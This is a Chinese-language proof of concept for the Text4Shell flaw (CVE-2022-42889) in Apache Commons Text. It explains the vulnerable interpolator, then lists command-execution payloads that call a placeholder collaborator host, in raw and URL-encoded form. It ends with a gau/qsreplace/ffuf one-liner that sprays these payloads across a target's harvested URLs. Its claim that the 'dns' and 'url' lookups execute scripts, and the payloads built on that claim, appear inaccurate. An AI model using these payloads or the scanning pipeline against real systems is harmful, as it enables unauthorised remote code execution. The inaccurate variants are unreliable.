Apache commons text - CVE-2022-42889 Text4Shell 漏洞利用的概念验证。
CVE-2022-42889 影响 Apache Commons Text 1.5 至 1.9 版本。该漏洞已在 Commons Text 1.10 版本中得到修复。
该漏洞被比作 Log4Shell,因为它是一个开源库级别的漏洞,有可能影响大量使用相关对象的软件应用程序。
然而,初步分析表明,这种比较并不恰当。与 Log4Shell 不同,该漏洞的性质意味着应用程序使用 Commons Text 的易受攻击组件处理不受信任、可能恶意的输入的情况将很少见。
该漏洞存在于 StringSubstitutor 插值器对象中。插值器通过 StringSubstitutor.createInterpolator() 方法创建,并允许按照 StringLookupFactory 中定义的字符串查找进行操作。可以通过传递一个格式为 ${prefix:name} 的字符串来利用它,其中 prefix 是前述的查找方式。使用 "script"、"dns" 或 "url" 查找方式将允许精心构造的字符串在传递给插值器对象时执行任意脚本。
虽然特定的代码片段不太可能出现在生产应用程序中,但令人担忧的是在某些应用程序中,pocstring 变量可能受攻击者控制。从这种意义上说,该漏洞与 Log4Shell 类似。然而,StringSubstitutor 插值器比 Log4j 中易受攻击的字符串替换功能使用范围要小得多,而且这种插值器的性质意味着,与 Log4Shell 中仅仅与精心构造的字符串交互相比,将精心构造的输入传递给易受攻击的对象可能性更小。
script:javascript
将参数值替换为漏洞载荷:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ